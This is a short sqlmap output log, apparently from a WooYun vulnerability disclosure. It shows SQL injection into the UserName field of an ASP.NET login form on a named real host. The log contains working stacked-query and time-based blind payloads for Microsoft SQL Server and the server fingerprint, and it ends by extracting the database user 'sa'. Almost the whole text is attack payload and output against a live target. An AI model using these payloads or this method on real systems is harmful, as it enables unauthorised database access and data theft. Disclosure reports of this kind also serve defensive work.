WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTE2Mzc1MTQxNTUPZBYCAgMPZBYCAgUPFCsAAmQQFgAWABY
AZGT/Hssv8/3NuZE4GPO76VAmRg69a5OXCF4DVfby33snrA==&__EVENTTARGET=ImageMap1&__EVEN
TARGUMENT=0&__EVENTVALIDATION=/wEWBgKR4fibCgKvruq2CAKyxeCRDwLA14awAgLf14awAgKdn+
0nIZ54IPelK579RLcQVn0mXxnRRWyQmP51F0g6+Gmu+DU=&UserName=s'; WAITFOR DELAY '0:0:5
'--&PassWord=a&CheckFlag=0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTE2Mzc1MTQxNTUPZBYCAgMPZBYCAgUPFCsAAmQQFgAWABY
AZGT/Hssv8/3NuZE4GPO76VAmRg69a5OXCF4DVfby33snrA==&__EVENTTARGET=ImageMap1&__EVEN
TARGUMENT=0&__EVENTVALIDATION=/wEWBgKR4fibCgKvruq2CAKyxeCRDwLA14awAgLf14awAgKdn+
0nIZ54IPelK579RLcQVn0mXxnRRWyQmP51F0g6+Gmu+DU=&UserName=s' WAITFOR DELAY '0:0:5'
--&PassWord=a&CheckFlag=0
---
[11:48:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2008
[11:48:53] [INFO] fetching current user
[11:48:53] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[11:49:11] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[11:49:21] [INFO] adjusting time delay to 1 second due to good response times
sa
current user:    'sa'
[11:49:28] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 31 times
[11:49:28] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\3gdr.yn.189.cn'
[*] shutting down at 11:49:28